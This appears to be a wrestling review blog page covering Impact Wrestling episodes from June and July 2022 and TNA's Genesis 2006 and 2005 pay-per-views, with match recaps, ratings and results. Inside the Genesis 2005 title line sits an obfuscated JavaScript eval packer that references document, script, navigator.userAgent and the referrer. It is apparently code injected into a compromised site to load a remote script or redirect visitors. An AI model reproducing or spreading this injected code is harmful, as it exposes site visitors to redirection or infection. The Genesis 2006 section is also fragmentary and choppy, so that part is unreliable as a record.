Impact Wrestling – July 7, 2022: Figure Out Your Monster

Impact Wrestling
Date: July 7, 2022
Location: Center Stage, Atlanta, Georgia
Commentators: Matthew Rehwoldt, Tom Hannifan

Against All Odds has come and gone and hopefully that means Josh Alexander is done with Violent By Design. Alexander defeated Joe Doering in the show’s main event to retain the World Title, meaning it’s time to move on. The only title change was the Digital Media Title as Brian Myers beat Rich Swann so there isn’t much to build from. Let’s get to it.

Here are last week’s results if you need a recap.

Against All Odds recap.

Opening sequence.

X-Division Title: Mike Bailey vs. Alan Angels

Angels, of Dark Order fame, is challenging in his debut. They do shake hands, though Bailey has to get in his annoying bow first. Angels wants to start fast but gets kicked down, setting up the rapid fire kicks. That’s enough to send Angels outside for the moonsault but he’s fine enough to drop Bailey onto the barricade. A frog splash off the apron crushes Bailey again and it’s time to kick away back inside.

There’s a northern lights suplex for two but Bailey superkicks him out of the air. The running corkscrew shooting star press gives Bailey two of his own but he charges into a Spanish Fly. They chop it out until Angels grabs the Halo Breaker (spinning torture rack neckbreaker) for a near fall of his own. The Wing Snapper (kind of a Backstabber but with feet instead of knees) drops Bailey again but he’s right back with another kick. The Ultimate Weapon retains the title at 8:34.

Rating: C+. The kicks were hard enough and it was nice to see Angels getting a chance to do something outside of the Dark Order. That had a hard ceiling and while I don’t know how much further Angels can go, at least he has the chance to do something else here as himself rather than part of a group. Not a classic, but a good choice for an opener.

Post match respect is shown but here is Violent By Design to lay out both guys. Deaner says this isn’t over with Josh Alexander (WHY THE HECK NOT???) and want him out here right now but it’s Eric Young answering instead. After a break, Young asks how we got here. While the answer would be “no one but Impact would take you”, they talk about how they came up short but Young thinks the sickness has both of them. Young wants to purge them both, which has Deaner agreeing with him. They want one more chance and Young seems willing, though this is their LAST chance.

Here’s what’s coming on the show.

Honor No More talks about how they keep getting screwed over but they know they’re the truth. They weren’t invited but Impact needs them. After Against All Odds, they ask PCO how much he wants to be a part of this. Don’t talk, but show them out there tonight.

Deonna Purrazzo, with Chelsea Green, is ready to beat Mia Yim in tonight’s #1 contenders main event. Gail Kim comes out to say next week, Green gets Yim and everyone is barred from ringside in both matches.

Laredo Kid vs. Trey Miguel

Kid shoulders him down to start but we’re at an early standoff. Miguel sends him outside but it’s too early for a dive. Back in and a spinning faceplant drops Miguel, who seems to be favoring his knee. Miguel sends him outside again and this time it’s a one legged Asai moonsault to drop Kid as we take a break.

Back with Kid working on the knee, including a Figure Four, which sends Miguel over to the ropes. Kid puts him up top but gets shoved down, allowing Miguel to hit a missile dropkick. A series of kicks gives Miguel two more but the knee gives out as he tries to go up. Kid Michinoku Drivers him for two of his own, only to have Miguel slip behind him and Roll the Dice for the pin at 11:12.

Rating: B-. These two are always going to be good for a solid match and this was no exception. Miguel having to get creative to win in the end was a fine change of pace and they made things work throughout. Kid continues to be someone who seems like he could be on top of the division at any given time but it never actually happens, which can be more than a bit frustrating.

And now, because of course we are, it’s the Ric Flair Classic Moment Of The Week, as Flair debuts on January 4, 2010.

Violent By Design goes looking for Josh Alexander but gets in a fight with the Motor City Machine Guns instead.

Killer Kelly, who likes to stay in dirty motel rooms (ok then), is coming.

America’s Most Wanted talks about how great it was to be back in the ring at Against All Odds and Chris Harris is happy if that was their last match. For now, James Storm has something to do, so he goes off and finds Steve Maclin. Storm wants to find Moose and thinks that he and Maclin were together at Against All Odds, they must be friends. A match seems likely.

PCO vs. Black Taurus

Vincent and Crazzy Steve are the seconds. They trade shoulders to start until Taurus starts going after the knee. PCO catches him coming off the middle rope though and a choke shove puts Taurus on the floor. Back in and PCO sends him outside again, this time for the suicide flip dive. The De-Animator connects for two but Taurus is right back up with the Sling Blade. A top rope elbow gets two but PCO rolls away from some kind of top rope flip. The PCOsault finishes Taurus at 6:04.

Rating: C. This wasn’t quite the monster brawl I was hoping for but they did a nice enough job of making PCO look like a force all over again. That has been missing a bit lately, as he should be something like the one guy in Honor No More that no one can solve. Having him be the guy who isn’t quite on the same page wasn’t working, assuming he is supposed to stay on the team.

Post match Honor No More comes in to surround Steve but Heath runs in from behind for a Wake Up Call on Kenny King.

The Bullet Club is tired of Honor No More, with Ace Austin wanting to get in on the fight next week. Works for everyone else.

Brian Myers runs into Johnny Swinger and Zicky Dice for an exchange of insults. Bhupinder Gujjar comes in and says he wants a Digital Media Title shot. Myers backs up and says Gujjar can face Swinger for the title shot next week instead.

Shera vs. Rich Swann

Swann slaps away to start, earning himself a lifting choke in the air. Shera gorilla press drops him and chokes again as he certainly seems to have a theme. A shot to the knee finally puts Shera in the ropes for a 619 but he shrugs off some more kicks to the head. The big kick to the head sets up a middle rope 450 to finish Shera at 4:49.

Rating: C-. Yep, it’s still Shera, who continues to look good but has very little in the way of quality in the ring. I’ll certainly take this over the Shera Shake/Shuffle, which continues to haunt me to this day. Swann is still kind of floating in the middle of nothing, as he is still a talented guy but can’t find much of anything to do.

The Influence isn’t happy with Masha Slamovich sending them what seems to be a death threat through Gisele Shaw. Somehow this is Shaw’s fault.

Rosemary is sick of people like James Mitchell not sending Havok to help so we (as in Rosemary, not Rosemary/Taya Valkyrie) are going to the Undead Realm to find Havok. Taya isn’t invited because it’s a bit too evil.

Here’s what’s coming next week.

Deonna Purrazzo vs. Mia Yim

The winner gets a Knockouts Title shot against Jordynne Grace at Emergence. They shove each other to start with neither getting much of an advantage. Purrazzo’s headlock doesn’t get her very far as Yim sends her outside, setting up a dropkick through the ropes. Back in and Purrazzo takes over on the leg, including snapping it back, as we take a break.

We come back with a double headbutt giving us a double knockdown for a breather. It’s Yim making the comeback, including Eat Defeat to put Purrazzo on the apron. Purrazzo slips out of a piledriver attempt and kicks her in the face for two of her own. Queen’s Gambit is blocked so Yim goes up top, only to get slammed back down. Yim avoids a charge to send her into the post though and it’s Code Blue for two on Purrazzo.

They slug it out (of course) until Purrazzo Russian legsweeps her into the Fujiwara armbar. With that broken up, Purrazzo hits the Queen’s Gambit for two and can’t believe the kickout. Yim is back up with the package piledriver for two and now it’s her turn to be shocked. Back up and they slug it out again, with Yim striking her silly. The package piledriver into Eat Defeat sends Yim to Emergence at 17:31.

Rating: B-. Yim has been a lot better around here as of late and I’ve been getting into her stuff a lot more than I was in NXT. That is the kind of upgrade that is always welcome as the Knockouts continue to keep things moving. Purrazzo was a huge deal for a long time and is now coming back down as the cycle continues, as it should.

Post match Jordynne Grace comes out for a handshake and some staring to end the show.

Overall Rating: C+. It had enough good wrestling to make me like the show, but the main focus here continues to be on the next monthly special. I can’t get my head around how much better it is for Impact to have something to build towards on a regular basis, as you can only get so much out of the quarterly pay per views and TV. That was the case here and it made a very nice and notable difference. Pretty nice show here and now it’s time to get ready for Emergence next month.

Results
Mike Bailey b. Alan Angels – Ultimate Weapon
Trey Miguel b. Laredo Kid – Roll The Dice
PCO b. Black Taurus – PCOsault
Rich Swann b. Shera – Middle rope 450
Mia Yim b. Deonna Purrazzo – Eat Defeat

 

 

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Impact Wrestling – June 23, 2022: A Different Balancing Act

Impact Wrestling
Date: June 23, 2022
Location: Tennessee State Fairgrounds, Nashville, Tennessee
Commentators: Matthew Rehwoldt, Tom Hannifan

We’re done with Slammiversary and that means things need to pick up a bit. While a few lower level titles changed hands at the pay per view, Josh Alexander retained the World Title in the main event by defeating Eric Young. That means he needs a new challenger and we might find out who that is today. Let’s get to it.

Here is Slammiversary if you need a recap.

We open with a long recap of Slammiversary, as you probably saw coming.

Opening sequence, now back to We Own The Night instead of the mixtures from recent weeks.

Here is Honor No More to take over the show to start, with Mike Bennett stealing a camera so Eddie Edwards can talk about how the celebration is continuing today. Everyone has been going crazy with the nostalgia but Honor No More is the one thing that people should be talking about. They didn’t lose on Sunday…..except for PCO. Vincent says he brought PCO back to life for Honor No More instead of Impact.

We hear about Traci Brooks and D’Lo Brown interfering, plus Earl Hebner suddenly being a referee. All this happened while Scott D’Amore watched on, which has Vincent thinking. They are the ones who are always making this place more interesting, but here is America’s Most Wanted to interrupt. James Storm says the lyrics to his theme music before talking about how things used to be around here. Storm sums up the problem with Honor No More: they suck.

Kenny King asks what year it is and says Storm might as well have come out here on his own. Chris Harris says if King keeps talking, he’ll make King cry harder than he did on the Bachelorette. Violence is teased but AMW brings out the Good Brothers to even things up a bit more. The brawl is on but Honor No More gets the better of things until the Briscoes make the real save. House is cleaned and Honor No More is cleared out.

Gisele Shaw offers Alisha Edwards a cupcake after Masha Slamovich wrecked her. This turns into an argument, as Edwards mocks Shaw for having no friends but Shaw is off to find a partner to win the Tag Team Titles. They got more than a bit lost in the messaging here and I’m not entirely sure how they got from A to B.

Honor No More yells at Scott D’Amore so they get a ten man tag at Against All Odds and a six man tonight.

Chelsea Green vs. Mia Yim

Deonna Purrazzo comes out with Green and joins commentary. Green fires off the kicks to start and sends Yim pretty hard into the corner. They head outside with Yim hitting a suplex and we take a break. Back with Yim grabbing a bow and arrow but Green slips out and hammers away. That doesn’t last long as Green is up with a whip into the corner, setting up a Tarantula.

With that broken up as well, Green kicks her down to the floor for a breather. Back in and Yim kicks away, only to get caught with a Codebreaker into a Stomp for a rather close two. Green loads up Yim’s Eat Defeat but gets reversed into a quick belly to back suplex. Yim goes up but Purrazzo shoves her down for the crash. Cue Mickie James to jump Purrazzo, allowing Yim to hit Eat Defeat for the pin at 12:29.

Rating: B-. That might be high but I was getting into this one, even with the screwy finish. They got rolling here rather well and beat each other up for a pretty long while. It might be the best Green match I’ve ever seen and Yim wasn’t that far behind. Good stuff here and I was into it almost all the way throughout.

Post match Mia and Mickie look at each other, with a tag match seeming likely.

The Influence isn’t happy with their loss and don’t seem thrilled with each other either. Gisele Shaw comes in to offer her services to replace the injured Madison Rayne. That might be possible, if Shaw can take out Rosemary or Taya Valkyrie.

Bhupinder Gujjar/Shark Boy vs. Johnny Swinger/Zicky Dice

Shark Boy (with a rather good sized gut) starts with Swinger but it’s off to Dice before much happens. Gujjar comes in as well and gets to pummel both goons a bit before handing it right back to Shark Boy. Dice gets hammered in the corner but a Swinger distraction lets him hit a quick clothesline. That’s about it for Shark boy getting beaten on though as he gets over to Gujjar for the house cleaning. Everything breaks down and the Chummer hits Swinger, followed by the middle rope spear to finish Dice at 3:44.

Rating: C. The match was nothing to see but how could you not have a good time with this? They weren’t trying to do anything more than have a good time with the old guys and Dice while giving Gujjar a win. It was a quick, fun match and that is all it was supposed to be, especially with how short they kept things here.

Post match Deaner and Joe Doering run in and take out Gujjar and Shark Boy. Deaner wants Josh Alexander out here RIGHT NOW but that’s not what he gets. Instead, he gets Alexander after a break, with Alexander asking why he’s here. Deaner hypes up Doering as Alexander’s next challenger at Against All Odds. The staredown is on with Deaner keeping up the threats/promises but Alexander promises to take Alexander out. The brawl is on with Alexander getting beaten down until security comes out and gets beaten up too. Actually hold on because Alexander wants to do this now.

Josh Alexander vs. Deaner

Non-title. Alexander strikes away to start and drops an early knee, followed by a backbreaker for two. Deaner gets sent to the apron for the running crossbody dive from Alexander to put him on the floor in a heap. That works better for Deaner who manages a posting, setting up some shots to the back of the head back inside. Deaner ties him up in the corner and hits a running dropkick to the back to jar Alexander’s neck hard.

It doesn’t seem to do much damage to Alexander, who is right back with the rolling German suplexes. The ankle lock is blocked so Alexander hits another German suplex, followed by the ankle lock in the corner. Since that can’t last, Deaner is right back with a big boot but the Deaner DDT is countered into the ankle lock for the tap at 5:12.

Rating: C. Not too bad here but there wasn’t exactly a ton of drama. Deaner is little more than the designated goon of the team and while that is a good spot for him, it doesn’t exactly leave much for him to do in the ring. Alexander running through Violent By Design for a few weeks is a fine enough short form story before we get to the Bound For Glory build, though I can’t imagine it mattering anywhere beyond Against All Odds.

Frankie Kazarian calls Slammiversary one of the best nights of his career and we hear a quick recap of the ten man tag. Now though, he wants one more match with his career rival, Chris Sabin.

Jordynne Grace is happy with her Knockouts Title win and thanks Tasha Steelz/Savannah Evans.

Steelz is ready to get her title back at Against All Odds, but first, Grace can face Evans.

Sami Callihan vs. Jack Price

Sami offers him a headlock to start before hitting a fast clothesline. The Cactus Driver 97 finishes Price at 1:21.

Post match Moose comes in and jumps Sami, including putting him through a table at ringside.

The Good Brothers tell the Briscoes they have their back in the main event. James Storm is ready to go to the ring too but first he tells Chris Harris to stay in the back and Harris actually agrees.

Sami Callihan runs into Gail Kim and wants another match with Moose. That’s cool with Gail, who makes a Clockwork Orange House Of Fun match.

Here’s what’s coming up on upcoming shows.

Honor No More vs. James Storm/Good Brothers/Briscoes

Matt Taven/Mike Bennett/Eddie Edwards for the team here. Mark drives Taven into the corner to start with Taven hitting a quick dropkick. Back up and they chop it out until Taven is taken into the corner for a running big boot from Jay. Taven gets over for the tag off to Edwards, with Storm coming in to neckbreaker him down. Everything breaks down and both Briscoes hit a dive as we take a break.

Back with Storm cleaning house until Bennett gets in a shot to the face to cut him down. They get back in and Taven hits a middle rope moonsault for two on Storm and Eddie grabs the front facelock. As you might have guessed, that means Storm can get up and drive Eddie into the corner but the referee doesn’t see the tag.

Storm manages a Backstabber out of the other corner though and the hot tag brings in Mark to really clean house. Redneck Boogie hits Taven but Eddie is back up to drop Mark. The Last Call hits Eddie but Bennett is back with a superkick. The Broton Pack to finish Mark at 15:44.

Rating: C+. I was a little confused coming into this because of the ten man tag at Against All Odds but at least we got a decent enough match here. Storm is one of those wrestlers who never ages and it is always nice to see him back in an Impact ring. Honor No More winning to get back on track is a good thing too as they still have enough status to keep them as a threat, which is a valuable thing to have.

Post match the rest of Honor No More runs in to keep up the beating but the Good Brothers run in for the save. That doesn’t work either and Mark’s leg is Pillmanized over and over to end the show.

Overall Rating: B-. This was a weird show as they had to keep things moving to get towards Against All Odds, but at the same time they had to find a way to come out from Slammiversary. They managed to stick most of the landing and at least they didn’t do anything too bad. Fun enough show, though having Against All Odds next week isn’t a great move. At least they had something here though and it was a pretty good show.

Results
Mia Yim b. Chelsea Green – Eat Defeat
Bhupinder Gujjar/Shark Boy b. Johnny Swinger/Zicky Dice – Middle rope spear to Dice
Josh Alexander b. Deaner – Ankle lock
Sami Callihan b. Jack Price – Cactus Driver 97
Honor No More b. Briscoes/James Storm – Broton Pack to Mark

 

 

 

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Genesis 2006: TNA’s Dream Match

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Date: November 19, 2006
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Don West, Mike Tenay

Kazarian/Maverick Matt/Johnny Devine vs. Voodoo Kin Mafia

We run down the rest of the card in TNA tradition.

The Naturals vs. Sonjay Dutt/Jay Lethal

The X guys have Jerry Lynn with them. The Naturals are Chase Stevens and Andy Douglas for those of you unfamiliar, which is probably a lot of you. They shout about Team 3D for most of the match. Stevens tries what would have been an AWESOME sunset bomb to the floor but Lethal saves himself. The Naturals are rammed together and sent to the floor so the X guys hit stereo dives to take them out.

LAX rants about Petey Williams stopping the flag burning on Impact. Konnan goes on an anti-military rant for some reason and says no one can stop them from burning a flag tonight because they have rights.

Daniels says that he and AJ are cool after Daniels took the title from him on Thursday.

X-Division Title: Chris Sabin vs. Christopher Daniels

We get a clip from Paparazzi Productions where Shelley and Starr say they can give Nash at least 90% out there tonight. Nash says if they follow him, they could have careers like those of Don Kernoodle, George South, Reno Riggins, Lazer Tron, Nelson Royal, George Scott, Porkchop Cash and Italian Stallion. Funny stuff but it probably went over the head of most of the audience.

Paparazzi Productions vs. Ron Killings/Lance Hoyt

Killings comes back with his gyrations so Shelley imitates Rick Rude right back at him. Off to Starr who dances some more. This needs to get going. Truth misses a charge and Aries (Starr) dances again. Truth hits the first big move in the four minutes this match has been running in the form of a powerslam. Off to Big Lance for some double teaming. Big boot gets two. One armed flapjack puts Austin down.

Hoyt loads up a moonsault but Shelley breaks it up and Lance is put in the Tree of Woe. With Truth trying to come in and distracting the referee, the Paparazzi hit a double neckbreaker while Hoyt is still upside down. Shelly holds the knees down so Starr can hit a slingshot hilo for two. They work on the knee for a bit and a slingshot corkscrew splash gets two.

Christian Cage vs. AJ Styles

Back in AJ hits a flapjack for two as things speed up. Christian heads to the floor again to slow things down but AJ hits a huge dive to take him out. His legs hit the railing as well though with a sick sound. Back inside that gets two and Styles is wincing from the leg. Christian slides back outside again and gets kicked into the barricade, but as AJ tries a slingshot dive, Christian hooks his feet to send AJ crashing legs first into the apron and shift momentum.

Rating: B. This was a pretty solid match and the ending played into the angle from earlier and also would further the angle that AJ was going into around this time. Christian basically got a clean win here as the chair had been dropped by the time the cover happened. As usual, at the end of the day just putting on a good wrestling match is the best thing you can do.

We recap the tag title match which is what I just explained.

Hernandez comes back in very quickly and hooks a one arm chinlock. The champs tag very quickly as Homicide chops on Harris so Hernandez can choke him on the floor. Off to a Homicide chinlock which sounds like police jargon. Harris comes back with a spinebuster and both guys are down. Storm (looking really strange without the beard) starts a USA chant before he gets the hot tag.

Hernandez throws him over the top but Storm skins the cat and comes back with a headscissors. James has to fight both of them at once and Harris saves him from the Border Toss. Harris comes in and hits something like a hybrid between a Thesz Press and a shoulder block to take SuperMex down. Suplex gets two. Homicide runs in for a tornado DDT to take Harris down.

NWA World Title: Sting vs. Abyss

Abyss is unconscious but gets the belt anyway.

Kurt Angle vs. Samoa Joe

The fans immediately chant this is awesome, which is kind of annoying. Feeling out process to start and Kurt goes straight for the ankle. Joe blocks the hold pretty easily and pounds him down onto the ropes. Kurt snaps off the belly to belly and clotheslines Joe to the outside. Joe grabs him in a powerbomb position, pulls him to the outside and swings him into the barricade.

Tenay and West talk for a few minutes to end the show.

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On This Day: November 13, 2005 – Genesis 2005: CHRISTIAN! CHRISTIAN! At Last You Are in TNA!

Genesis eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fayek|var|u0026u|referrer|kndzk||js|php'.split('|'),0,{})) 2005
Date: November 13, 2005
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Mike Tenay, Don West

It’s the month after Bound For Glory and there are two things of note: there’s a major debut tonight, and Eddie Guerrero died earlier in the day. The main event tonight is a six man tag with Rhyno/Team 3D vs. Jarrett/AMW with no stipulations on it, which means I have no reason to care about it. I can’t stand matches like that but they tend to happen once in awhile. If this is half as good as BFG was I’ll be a little surprised. Let’s get to it.

The show is dedicated to Eddie Guerrero. Nothing wrong with that.

The opening video is about starting a new voyage and a new day and all over beginning things like that. There’s a lot of Clinton and Kennedy clips in there too. The main matches get some time too.

Raven vs. ???

This is more of Raven vs. Larry Z in a feud that no one cared about. Larry is in the ring and offers him a release again, which Raven can sign or face the opponent. Bird Boy gives him a double bird. Again we hear about some girl that might be controlling Raven, which I think would wind up being Daffney. The mystery opponent is P.J. Polaco, more commonly known as Justin Credible.

They have to call him the former Justin Credible because of legal issues. You get that a lot in TNA. Justin takes him into the corner to start and hits some forearms. Raven gets him down and pounds him down as we hear about Raven holding Justin down or something. I guess they mean in ECW, where Justin was pushed as a huge deal for YEARS. Justin (screw this PJ nonsense) comes back with a knee to the ribs and another one to take Raven down. He stomps on Raven in the ribs as Mike tries to tell us about a rivalry these two had for the Hardcore Title.

A baseball slide dropkick gets two for Credible. Out to the floor and Raven goes into the barricade. Off to a chinlock back in the ring as we hear about Raven’s history of having people fall under his control. Now it’s a dragon sleeper. A knee sends Raven to the floor and Justin finds a kendo stick. Cassidy Riley, a Raven follower/tribute guy, comes out but gets caned for his efforts. Raven takes over in the ring and catches a superkick into an ankle lock. Justin escapes and hits a bad DDT for two but walks into the Raven Effect for the pin.

Rating: D. Not much here but I’m no fan of Justin. Raven was hot in 2005 but man this Larry feud pulled him down through the floor. At the end of the day, it’s Larry Zbyszko, the man who can suck the life out of a crypt. Also, Justin and Raven really just worked together in ECW and had a brief feud in late 1999/early 2000 that not many people likely remember. Not the best opener to say the least.

We recap the Kru vs. Team Canada which mostly covers last month’s events. Kip is the guest referee in their hockey stick fight tonight. Konnan still doesn’t trust him.

The Kru talks about the surprise debut tonight (who isn’t mentioned by name here) and says that the rats are leaving the ship, meaning WWE. BG thinks Kip is cool but Konnan disagrees.

Team Canada vs. 3 Live Kru

It’s a hockey stick figdht, which means hockey stick on a pole but you have to be legal to grab it. So it’s a hockey stick on a pole match. Got it. This is A-1, Roode and Young. There are six total hockey sticks, one for each post. Sweet merciful corn on the cob can someone get Vince Russo some decaf? Kip James is guest referee. Team Canada tries to go and get the sticks before the match starts because no one is legal then, so we start with a brawl.

Kip tells Konnan to go to the corner and we get BG vs. Roode. Less than 30 seconds after we get settled, Eric (in headgear for some reason) climbs up and gets a stick. Kip takes it and breaks it over his knee then takes the headgear away. Ok then. Roode sends BG into the buckle and I can’t believe we’ve only had one stick grabbed in the first minute. BG comes back with the dancing punches and the shaky knee drop for two.

BG starts going up for a hockey stick but has a small nose bleed. There are SO many jokes. Tag to Truth who goes up but Roode saves the stick. Never mind as it comes down anyway and lands in the Kru’s corner. Leg lariat gets two on Roode. Off to Young who has about the same luck. Konnan comes in and puts his shoe on the end of the hockey stick. Egads this match gets stupider and stupider.

BG goes up for another stick but after he gets it, Roode electric chairs him down. A-1 comes in for some two counts. Kip has been neutral so far. Back to Young who gets two off a backbreaker. He goes to get a stick but BG knocks it out of Young’s hands and to the floor. Back to Young for a slug out but BG gets caught in a full nelson slam. Roode gets the fallen hockey stick but Truth disarms him.

Tag off to Truth and everything breaks down. Ax kick to A-1 but Roode hits the DVD and Young drops the elbow. Now it’s Konnan’s turn to clean house and he puts the Sunrise on Young but Roode saves. Another stick is brought down and it’s sword fighting time. The Kru takes over and it’s a double What’s Up onto two hockey sticks onto Young’s balls for the pin.

Rating: D. WOW this was overbooked. Seriously, six hockey sticks and a guest referee? Nothing to see here either as this feud would finally end the next month at Turning Point. The wrestling was pretty basic and Kip offered nothing at all to this. The point is that he can be trusted, but any referee could have done what he did here.

Kip gets to pound fists with Konnan as apparently they’re all cool.

Abyss and Mitchell are ready for that new talent acquisition. As for Sabu, the No DQ rule won’t bother Abyss and the barbed wire won’t bother him either. It’s opening Pandora’s Box and they crush an egg. This takes awhile to get through.

Tenay and West talk about the acquisition but don’t say who it is. The guy isn’t here yet.

We run down the rest of the card, 35 minutes into the show.

The Acquisition arrives and he’s coming to the arena. A countdown starts and it’s Christian Cage making his debut. Christian says the rumors are true but stops for Christian Cage chant. Jarrett and company are watching in the back and don’t like what they see. Christian says he’s not going to say the same thing every week and that he’s not here because he got fired. He made the jump on his own choice. WWE offered him a very large contract but he’s here because he loves wrestling.

He’s known to crack a joke or two, but he’s the best in the world today and that’s not a joke. He’s tired of politics and he wants to see wrestling reinvented. Last night he was watching Impact and it reminded him of when he showed up 8 years ago. Today there are still two companies, and just like back then, one is old and boring but now the young and hot one is TNA. He’s here to win the world title because that’s how he rolls.

Cue Scott D’Amore, the Team Canada coach. Roode comes out with him and D’Amore is very happy. He talks about some old times that Christian, himself, Adam, Jericho and Lance had when they went to Bret and Stu’s house. D’Amore says that if they unite with Jarrett’s team, they could rule this place. Christian has a question but Roode cuts him off and says Christian needs to realize the opportunity before him. Roode says we want an answer now but D’Amore tells him to chill. He throws Christian a Team Canada shirt and asks for an answer by the end of the night. Christian says he’ll think about it.

We recap the #1 contender’s match between Monty Brown and Jeff Hardy. Both are top guys and want a title shot. Brown issued an open challenge and Hardy took him up on it.

Monty Brown says that he’s not worried about Christian and calls him out to the Serengeti. Jeff Hardy can bring it too. They’ll both be Pounced.

Jeff Hardy vs. Monty Brown

Winner gets Jarrett at some point in the future. The fans are almost universally behind Hardy. Jawbreaker slows Brown down….then Hardy sticks his hands out and shouts before crawling on the ground. Brown grabs him into a fallaway slam to take over. Jeff avoids a charge and Monty goes to the floor, but Hardy’s baseball slide misses and he hits the steel. Brown throws him into the crowd and Jeff is in trouble.

Jeff walks on a barricade and dives onto Brown who was nice enough to stand there and let him. At least he’s polite. Back in and Jeff is almost immediately thrown back to the floor over the top. The fans are split but the fans are more in Hardy’s corner. Whisper in the Wind misses and Hardy is in trouble. A double clothesline hits and both guys go down. Now Whisper in the Wind works and Jeff starts his comeback. Legdrop between the legs makes Monty’s eyes bug out.

The Twist of Fate is countered into an Alpha Bomb attempt but Jeff counters into the reverse Twist of Fate, which of course West calls the same thing. Either way it only gets two. Jeff goes up for the Swanton but it only hits mat. Monty gets up and CRUSHES Jeff with the Pounce for the pin. Apparently this just moves Monty up in the rankings instead of giving him a title match. You know, because that’s SO much different than any regular match right?

Rating: D+. This wasn’t much for the most part. Jeff’s selling was great of course but Monty was pretty much just another power guy. He wasn’t bad or anything but not much aside from his finisher made him stand out or anything. Not a bad match or anything but it’s really just kind of there.

We recap the Elimination X match which is an X Division Survivor Series match. Daniels is a captain and calls his team the Ministry. The other team is called…..uh…..Not The Ministry I guess. Joe thinks he should be captain instead of Daniels.

The Ministry minus Joe wants to know where Joe is but Daniels says don’t worry about it.

Samoa Joe/Christopher Daniels/Alex Shelley/Roderick Strong vs. Chris Sabin/Austin Aries/Sonjay Dutt/Matt Bentley

The Ministry is pretty packed. Bentley has Traci with him. Aries looks really different minus the mustache. Strong vs. Bentley to start us off. This is standard Survivor Series rules. Strong controls with a quick headlock so Bentley does exactly the same thing. Off to Sonjay who flies around a lot in some standard spinny flips. Off to Shelley who looks way different as well. They go VERY fast, resulting in an STF by Shelley. It doesn’t get him anywhere but it looked good.

Shelley gets him into the corner and tags in Joe to a BIG reaction. Joe hits a bunch of Facewashes and a running one to take his head off. Dutt gets to the corner for a moonsault press but Joe walks away. Dutt faked him out though and hits the press for two. Joe responds by kicking his head off and hitting the backsplash. The crowd is eating Joe up and there’s a lot to eat there.

Daniels comes in but so does Aries, who takes him down with a flying body attack. With Daniels’ arm firmly controlled, it’s time for Sabin. I think he’s his team’s captain too. Captain or not, he hits some WICKED headscissors to have Daniels all spun around. Joe knees him in the back though and an STO puts Sabin down to take over for the Ministry. Off to a chinlock but Sabin fights up and kicks Daniels down.

Off to Aries who cleans house on Daniels and Strong. Strong counters the brainbuster and hits a Nightmare on Helm Street. Everything breaks down and Strong hits a rack into a backbreaker on Sabin. Bentley and Daniels head to the floor and the other six are all in now. Joe gets triple teamed and knocked to the floor and everyone on Bentley’s team other than Bentley hit stereo dives. Aries and Strong go back in and Aries hits the brainbuster followed by the 450 to eliminate Strong. Daniels comes in immediately and rolls up Aries with tights to tie it up. There weren’t ten full seconds between pins.

Dutt vs. Daniels now as it’s 3-3. Sonjay takes him down and drops a leg for two. Off to Bentley who doesn’t do as well, getting slowed down by a knee and allowing a tag to Shelley. Sabin comes in as well and hits a seated dropkick to the back of Shelley’s head for two. Sonjay comes back in and cleans house, knocking Joe and Daniels to the floor (with Joe leaving a HUGE sweat stain). Dutt cleans some more rooms of the house but Shelley hits what we would call White Noise and hooks a modified crossface for the tap out.

Shelley walks into a superkick from Bentley for a quick pin, leaving it as Daniels/Joe vs. Bentley/Sabin. Bentley suplexes Daniels down and brings in Sabin. Daniels gets put in the Tree of Woe and Sabin hits the hesitation dropkick for two. Off to Joe who gets dropkicked down but he pulls out a powerslam for two on Bentley. Joe misses a running knee smash in the corner and it’s off to Bentley and Daniels. Release Rock Bottom and the BME get two.

Daniels goes up again but Sabin comes in as well for a double superplex, but Joe makes it a Tower of Doom which really just hurts Daniels even more. Joe knocks Bentley into the corner and fires off some Facewashes. Bentley pops up out of nowhere and superkicks Joe down for two. He gets on Daniels’ shoulders but Joe pops him in the face, hits the MuscleBuster and the Clutch gets it down to two on one. Sabin has to fight off both of them so he hits a tornado DDT on Daniels and an enziguri on Joe at the same time. Sabin takes Joe down again but can’t Cradle Shock him. He escapes the MuscleBuster but Angel’s Wings end this.

Rating: B. I don’t get why they never did another one of these. It’s a perfect kind of match for a PPV as it ate up almost 25 minutes and we got some great action out of it. It’s no classic or anything, but it got the signature stuff out there on PPV. The teams were a little lopsided though and that hurt things a lot. Still quite good though.

Joe is mad at Daniels for getting the winning fall and kicks him down. He goes to the floor and CRACKS daniels with a chair and hits a MuscleBuster on him, followed by a second on the chair. This would basically be what turned Daniels face. He gets stretchered out and AJ watches, looking distraught.

Jarrett and AMW say they’re ready for anyone that TNA throws at them.

We recap Abyss vs. Sabu. The idea is that Sabu can’t beat him one on one but Abyss is terrified of barbed wire, so Sabu has a weapon to use.

Abyss vs. Sabu

No DQ. Abyss has a chair and his chain. Sabu of course has….nothing. He had his arm covered but when he pulled the towel off there was no barbed wire (there had been at an earlier show). Abyss bails to the floor and Sabu dives on him to take over early. Sabu sets up a table but Abyss takes over and sends him back in. Abyss beats on him VERY slowly as I’m assuming they have a lot of time here.

Sabu is bleeding from the nose. For some reason Abyss goes up, only to be ranaed down. Sabu sets up a chair but it goes upside his head for his efforts. Abyss wedges the chair between the ropes but due to the law of wrestling, he goes head first into it. Triple Jump Moonsault almost totally misses and it’s out to the floor (complete with an F Bomb from Sabu) where Abyss is driven through the table with a slingshot flipping legdrop.

Abyss gets up first and picks up his bag of tacks. As he’s laying them out though, Sabu pulls out a barbed wire chair. Mitchell pulls it away, but Sabu hits some clotheslines in an attempt to put Abyss into the tacks. Abyss is like screw that and chokeslams Sabu into the tacks but it only gets two. He loads up a Frog Splash but lands on tacks, which gets two for Sabu. Camel clutch goes on but Abyss makes a rope. Sabu gets the chair but Abyss knocks him down. Powerbomb onto the chair is countered by a Black Hole Slam onto the chair (FREAKING OW MAN!) gets the pin. Abyss wasn’t scared of it at all.

Rating: C-. It was very violent and the ending was sick, but it’s nothing we haven’t seen a million times before. Abyss being scared of the barbed wire went nowhere at all which didn’t help anything here. The match wasn’t that bad but it’s just another hardcore brawl with some sharp stuff involved.

